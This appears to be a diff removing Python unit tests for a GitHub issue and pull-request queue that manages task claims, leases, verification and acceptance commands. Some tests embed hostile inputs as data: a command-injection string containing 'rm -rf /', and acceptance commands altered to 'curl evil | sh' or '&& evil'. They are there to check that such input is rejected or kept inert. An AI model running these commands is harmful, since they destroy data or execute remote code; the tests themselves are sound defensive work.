self.assertIn("Only a maintainer", one(self.run_cmd("gpuer", "/reassign rt", area="runtime"))["comment"])
self.assertIn("not allowed", one(self.run_cmd("maint", "/reassign rt"))["comment"])
def test_progress_holder_only_and_needs_text(self):
self.assertIn("renewed", one(self.run_cmd("gpuer", "/progress parser done"))["comment"])
self.assertIn("Only the holder", one(self.run_cmd("rt", "/progress parser done"))["comment"])
self.assertIn("not renewed", one(self.run_cmd("gpuer", "/progress"))["comment"])
def test_blocked_unblock(self):
a = one(self.run_cmd("gpuer", "/blocked waiting on #5"))
self.assertEqual(a["add_labels"], ["agent:blocked"])
self.assertEqual(one(self.run_cmd("rt", "/blocked x"))["add_labels"], [])
self.assertEqual(one(self.run_cmd("maint", "/unblock", labels=self.held + ("agent:blocked",)))["remove_labels"], ["agent:blocked"])
def test_approve_acceptance_maintainer_only(self):
a = one(self.run_cmd("maint", "/approve-acceptance"))
self.assertIn("agent-queue:acceptance sha256=", a["comment"])
self.assertNotIn("agent-queue:acceptance", one(self.run_cmd("gpuer", "/approve-acceptance"))["comment"])
class Inert(unittest.TestCase):
def test_metacharacters_stay_data(self):
evil = "x`id`; $(rm -rf /) | \"'"
a = decide(event("gpuer", "/claim " + evil), state(issue(1, files=evil + "\nsrc/gpu/a.rs", acceptance=evil)), CFG)
self.assertEqual(len(a), 1)
out = decide(event("maint", "/blocked " + evil), state(issue(1, labels=("agent:claimed", "claimed-by:gpuer"))), CFG)
self.assertIn(evil, one(out)["comment"])
self.assertEqual(one(out)["add_labels"], ["agent:blocked"])
if __name__ == "__main__":
unittest.main()
-93
View File
@@ -1,93 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import unittest
from helpers import CFG, NOW, body, comment, issue, state
from agent_queue import lease as L, tasks as T
from agent_queue.queue import audit
BOT = "github-actions[bot]"
HELD = ("agent:claimed", "claimed-by:gpuer")
def task():
return T.parse_task(issue(1, labels=HELD))
def grant(at):
return comment(BOT, L.grant_marker(1, "gpuer"), at)
class Lease(unittest.TestCase):
def test_lapses_after_lease_hours(self):
c = [grant("2026-01-09T11:00:00Z")]
self.assertTrue(L.lapsed(task(), c, [], CFG, NOW))
self.assertFalse(L.lapsed(task(), [grant("2026-01-09T13:00:00Z")], [], CFG, NOW))
def test_holder_progress_renews(self):
c = [grant("2026-01-09T11:00:00Z"), comment("gpuer", "/progress did x", "2026-01-10T09:00:00Z")]
self.assertFalse(L.lapsed(task(), c, [], CFG, NOW))
def test_others_comments_do_not_renew(self):
c = [grant("2026-01-09T11:00:00Z"), comment("rt", "/progress did x", "2026-01-10T09:00:00Z"),
comment("gpuer", "just chatting", "2026-01-10T09:00:00Z")]
self.assertTrue(L.lapsed(task(), c, [], CFG, NOW))
def test_forged_grant_marker_ignored(self):
c = [grant("2026-01-09T11:00:00Z"), comment("rt", L.grant_marker(1, "gpuer"), "2026-01-10T11:00:00Z")]
self.assertTrue(L.lapsed(task(), c, [], CFG, NOW))
def test_linked_pr_push_renews(self):
pr = {"author": "gpuer", "body": "Closes #1", "head_pushed_at": "2026-01-10T08:00:00Z"}
self.assertFalse(L.lapsed(task(), [grant("2026-01-09T11:00:00Z")], [pr], CFG, NOW))
other = dict(pr, author="rt")
self.assertTrue(L.lapsed(task(), [grant("2026-01-09T11:00:00Z")], [other], CFG, NOW))
def test_audit_lapses_and_skips_blocked(self):
st = state(issue(1, labels=HELD), task_comments={"1": [grant("2026-01-09T11:00:00Z")]})
a = audit(st, CFG, NOW)
self.assertEqual(a[0]["issue"], 1)
self.assertIn("agent:ready", a[0]["add_labels"])
st = state(issue(1, labels=HELD + ("agent:blocked",)), task_comments={"1": [grant("2026-01-09T11:00:00Z")]})
self.assertEqual(audit(st, CFG, NOW), [])
def test_audit_invalid_cycle_and_missing(self):
st = state(issue(1, deps="#2"), issue(2, deps="#1", files="b/"), issue(3, deps="#99", files="c/"))
marked = {a["issue"]: a for a in audit(st, CFG, NOW)}
self.assertEqual(sorted(marked), [1, 2, 3])
self.assertIn("agent:invalid", marked[3]["add_labels"])
def test_audit_recovers_invalid(self):
st = state(issue(1, labels=("agent:invalid",)))
self.assertEqual(audit(st, CFG, NOW)[0]["add_labels"], ["agent:ready"])
class Acceptance(unittest.TestCase):
def test_hash_ignores_whitespace_and_fences(self):
self.assertEqual(T.acceptance_hash("cargo test\n"), T.acceptance_hash("```sh\ncargo test\n```"))
self.assertNotEqual(T.acceptance_hash("cargo test"), T.acceptance_hash("cargo test -- x"))
def test_mismatch_after_body_edit(self):
approved = L.acceptance_marker(T.acceptance_hash("cargo test -p gpu"))
cs = [comment(BOT, approved)]
self.assertEqual(L.approved_hash(cs), T.acceptance_hash(T.parse_task(issue(1))["acceptance"]))
edited = T.parse_task(issue(1, acceptance="cargo test -p gpu; curl evil | sh"))
self.assertNotEqual(L.approved_hash(cs), T.acceptance_hash(edited["acceptance"]))
def test_approval_from_non_bot_ignored(self):
cs = [comment("rt", L.acceptance_marker("0" * 64))]
self.assertIsNone(L.approved_hash(cs))
class Deps(unittest.TestCase):
def test_parse_fields_and_empty(self):
t = T.parse_task(issue(1, deps="#3, #2", interface="gpu-abi v2", prio="critical"))
self.assertEqual((t["depends"], t["interface"], t["priority"]), ([2, 3], "gpu-abi v2", "critical"))
e = T.parse_task(issue(1))
self.assertEqual(e["depends"], [])
self.assertEqual(e["interface"], "")
def test_cycle_report(self):
ts = {n: T.parse_task(issue(n, deps=d)) for n, d in ((1, "#2"), (2, "#3"), (3, "#1"), (4, ""))}
cyc = T.find_cycles(ts)
self.assertEqual(len(cyc), 1)
self.assertEqual(sorted(set(cyc[0])), [1, 2, 3])
-33
View File
@@ -1,33 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import unittest
import helpers # noqa: F401
from agent_queue.patterns import patterns_overlap as ov, path_matches as pm, sets_overlap
class Patterns(unittest.TestCase):
def test_matches(self):
self.assertTrue(pm("a/b.rs", "a/b.rs"))
self.assertTrue(pm("a/b/c.rs", "a/"))
self.assertFalse(pm("ab/c.rs", "a/"))
self.assertTrue(pm("a/b.rs", "a/*.rs"))
self.assertFalse(pm("a/x/b.rs", "a/*.rs"))
self.assertTrue(pm("a/x/y/b.rs", "a/**/b.rs"))
self.assertTrue(pm("a/b.rs", "a/**/b.rs"))
self.assertTrue(pm("a/x/y.rs", "a/**"))
def test_overlap_exact_dir_glob(self):
self.assertTrue(ov("a/b.rs", "a/b.rs"))
self.assertFalse(ov("a/b.rs", "a/c.rs"))
self.assertTrue(ov("a/", "a/b/c.rs"))
self.assertTrue(ov("a/b/", "a/"))
self.assertFalse(ov("a/", "b/"))
self.assertTrue(ov("a/**", "a/x/y.rs"))
self.assertTrue(ov("a/*.rs", "a/"))
self.assertTrue(ov("a/**/gpu/*.rs", "a/x/"))
self.assertFalse(ov("a/x*", "a/y*"))
self.assertFalse(ov("a/b.rs", "a/*.txt"))
def test_sets(self):
self.assertEqual(sets_overlap(["x/a.rs", "y/"], ["z.rs", "y/q.rs"]), ("y/", "y/q.rs"))
self.assertIsNone(sets_overlap(["x/a.rs"], ["y/"]))
-110
View File
@@ -1,110 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
import unittest
from helpers import CFG, NOW, issue, state
from agent_queue import lease as L
from agent_queue.decide import decide
from agent_queue.prcheck import check_pr
from agent_queue.queue import summary
BOT = "github-actions[bot]"
SHA = "a" * 40
HELD = ("agent:claimed", "claimed-by:gpuer")
def pr(n=10, author="gpuer", files=("src/gpu/a.rs",), body="Closes #1", sha=SHA):
return {"number": n, "author": author, "body": body, "head_sha": sha,
"head_pushed_at": "2026-01-10T11:00:00Z", "files": list(files), "state": "OPEN"}
def run(p, comments=(), others=(), issues=None):
st = state(*(issues or [issue(1, labels=HELD)]), prs=[p] + list(others),
task_comments={"1": [{"user": BOT, "body": L.grant_marker(1, "gpuer"), "created_at": "2026-01-10T01:00:00Z"}]})
st["pr"], st["pr_comments"] = p, list(comments)
return check_pr(st, CFG, NOW)
def vc(user, sha=SHA[:12]):
return {"user": user, "body": "/verified " + sha, "created_at": "2026-01-10T11:30:00Z"}
class PRChecks(unittest.TestCase):
def test_clean_pr_passes(self):
r = run(pr(), [vc("qaer")])
self.assertTrue(r["ok"], r)
self.assertEqual(r["verified_by"], ["qaer"])
def test_missing_link(self):
r = run(pr(body="no link"), [vc("qaer")])
self.assertFalse(r["ok"])
self.assertIn("no linked task", r["problems"][0])
def test_ownership_violation(self):
r = run(pr(files=("src/gpu/a.rs", "src/cpu/x.rs")), [vc("qaer")])
self.assertFalse(r["ok"])
self.assertTrue(any("outside task #1" in p and "src/cpu/x.rs" in p for p in r["problems"]))
def test_cross_pr_overlap(self):
other = pr(n=11, author="rt", files=("src/gpu/a.rs",), body="Closes #2")
r = run(pr(), [vc("qaer")], others=[other])
self.assertTrue(any("overlaps open PR #11" in p for p in r["problems"]))
def test_task_held_by_someone_else(self):
r = run(pr(author="rt"), [vc("qaer")])
self.assertTrue(any("not the pull request author" in p for p in r["problems"]))
def test_unverified(self):
r = run(pr())
self.assertTrue(any("verification missing" in p for p in r["problems"]))
def test_verification_by_author_or_holder_rejected(self):
self.assertFalse(run(pr(), [vc("gpuer")])["ok"])
# holder of the linked task who is not the author
r = run(pr(author="maint"), [vc("gpuer")])
self.assertEqual(r["verified_by"], [])
def test_verification_by_ineligible_rejected(self):
self.assertEqual(run(pr(), [vc("rt")])["verified_by"], [])
def test_stale_sha_rejected(self):
r = run(pr(), [vc("deadbeef00")])
self.assertEqual(r["verified_by"], [])
self.assertFalse(r["ok"])
def test_lapsed_claim_and_stale_head(self):
p = pr()
p["head_pushed_at"] = "2026-01-08T00:00:00Z"
st = state(issue(1, labels=HELD), prs=[p], task_comments={"1": [
{"user": BOT, "body": L.grant_marker(1, "gpuer"), "created_at": "2026-01-08T00:00:00Z"}]})
st["pr"], st["pr_comments"] = p, [vc("qaer")]
self.assertTrue(any("lapsed" in x for x in check_pr(st, CFG, NOW)["problems"]))
class VerifiedCommand(unittest.TestCase):
def go(self, actor, sha=SHA[:12], author="gpuer"):
st = state(issue(1, labels=HELD))
st["pr"] = pr(author=author)
ev = {"kind": "pr", "number": 10, "actor": actor, "body": "/verified " + sha}
return decide(ev, st, CFG)[0]["comment"]
def test_outcomes(self):
self.assertIn("recorded", self.go("qaer"))
self.assertIn("author cannot", self.go("gpuer"))
self.assertIn("holds the linked task", self.go("gpuer", author="maint"))
self.assertIn("may not verify", self.go("rt"))
self.assertIn("not the current head", self.go("qaer", sha="1234567"))
class Summary(unittest.TestCase):
def test_shape_and_json(self):
st = state(issue(1), issue(2, labels=HELD, area="cpu", prio="low"), issue(3, labels=("bug",)))
st["prs"] = [pr()]
s = json.loads(json.dumps(summary(st, "2026-01-10T12:00:00Z")))
self.assertEqual(set(s), {"generated_at", "totals", "by_area", "tasks", "pull_requests"})
self.assertEqual(s["totals"], {"ready": 1, "claimed": 1})
self.assertEqual(s["by_area"]["gpu"]["high"]["ready"], [1])
self.assertEqual(s["by_area"]["cpu"]["low"]["claimed"], [2])
self.assertEqual([t["number"] for t in s["tasks"]], [1, 2])
self.assertEqual(s["tasks"][1]["holder"], "gpuer")
self.assertEqual(s["pull_requests"][0]["links"], [1])
-115
View File
@@ -1,115 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
import os
import re
import subprocess
import sys
import tempfile
import unittest
from helpers import ROOT, issue
def dump(obj, path):
with open(path, "w") as fh:
json.dump(obj, fh)
WF = os.path.join(ROOT, ".github", "workflows")
QUEUE_WORKFLOWS = ["agent-claims.yml", "agent-pr-checks.yml"]
USER_TEXT = re.compile(r"\$\{\{\s*github\.event\.(comment|issue|pull_request)\.(body|title)|github\.head_ref")
def run_blocks(text):
"""Text of every `run:` block (literal block scalar or single line)."""
out, lines, i = [], text.split("\n"), 0
while i < len(lines):
m = re.match(r"^(\s*)(?:- )?run:\s*(.*)$", lines[i])
if m:
indent, rest = len(m.group(1)), m.group(2)
if rest in ("|", ">", "|-", ">-"):
block = []
i += 1
while i < len(lines) and (not lines[i].strip() or len(lines[i]) - len(lines[i].lstrip()) > indent):
block.append(lines[i])
i += 1
out.append("\n".join(block))
continue
out.append(rest)
i += 1
return out
class Workflows(unittest.TestCase):
def read(self, name):
with open(os.path.join(WF, name), encoding="utf-8") as fh:
return fh.read()
def test_top_level_permissions_and_no_user_text_in_run(self):
for name in QUEUE_WORKFLOWS:
text = self.read(name)
self.assertRegex(text, r"(?m)^permissions:", name)
blocks = run_blocks(text)
self.assertTrue(blocks, name)
for b in blocks:
self.assertNotRegex(b, r"\$\{\{", "%s: expression inside run" % name)
self.assertIsNone(USER_TEXT.search(b), name)
def test_checker_detects_violation(self):
bad = "jobs:\n a:\n steps:\n - run: |\n echo ${{ github.event.comment.body }}\n"
self.assertTrue(any(re.search(r"\$\{\{", b) for b in run_blocks(bad)))
def test_pr_workflow_never_checks_out_pr_code(self):
text = self.read("agent-pr-checks.yml")
self.assertNotRegex(text, r"github\.event\.pull_request\.head|ref:\s*\$\{\{")
self.assertIn("pull_request_target", text)
def test_actions_pinned_by_sha(self):
for name in QUEUE_WORKFLOWS:
for use in re.findall(r"uses:\s*(\S+)", self.read(name)):
self.assertRegex(use, r"@[0-9a-f]{40}$", name)
class Cli(unittest.TestCase):
def run_cli(self, *args, stdin=None):
env = dict(os.environ, PYTHONPATH=os.path.join(ROOT, "scripts"))
return subprocess.run([sys.executable, "-m", "agent_queue", "--config", os.path.join(ROOT, ".github", "agent-queue.json")] + list(args),
input=stdin, capture_output=True, text=True, env=env)
def test_shipped_config_parses(self):
r = self.run_cli("config-get", "upstream")
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(r.stdout.strip(), "ranveersoni98/Xenora")
def test_acceptance_authorization_end_to_end(self):
from agent_queue import lease as L, tasks as T
i = issue(1)
digest = T.acceptance_hash("cargo test -p gpu")
with tempfile.TemporaryDirectory() as d:
ip, cp = os.path.join(d, "i.json"), os.path.join(d, "c.json")
dump(i, ip)
dump([], cp)
r = self.run_cli("acceptance", "--issue", ip, "--comments", cp)
self.assertEqual(r.returncode, 3)
self.assertEqual(r.stdout, "")
dump([{"user": "github-actions[bot]", "body": L.acceptance_marker(digest), "created_at": "2026-01-10T10:00:00Z"}], cp)
r = self.run_cli("acceptance", "--issue", ip, "--comments", cp)
self.assertEqual((r.returncode, r.stdout.strip()), (0, "cargo test -p gpu"))
i["body"] = i["body"].replace("cargo test -p gpu", "cargo test -p gpu && evil")
dump(i, ip)
self.assertEqual(self.run_cli("acceptance", "--issue", ip, "--comments", cp).returncode, 3)
def test_scripts_parse(self):
for s in ("agent-queue.sh", "agent-sync.sh"):
r = subprocess.run(["sh", "-n", os.path.join(ROOT, "scripts", s)], capture_output=True, text=True)
self.assertEqual(r.returncode, 0, r.stderr)
def test_event_normalisation(self):
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "e.json")
dump({"issue": {"number": 4, "pull_request": {}}, "comment": {"body": "/verified abc1234", "user": {"login": "q"}}}, p)
out = json.loads(self.run_cli("event", "--path", p).stdout)
self.assertEqual(out, {"kind": "pr", "number": 4, "actor": "q", "body": "/verified abc1234"})
if __name__ == "__main__":
unittest.main()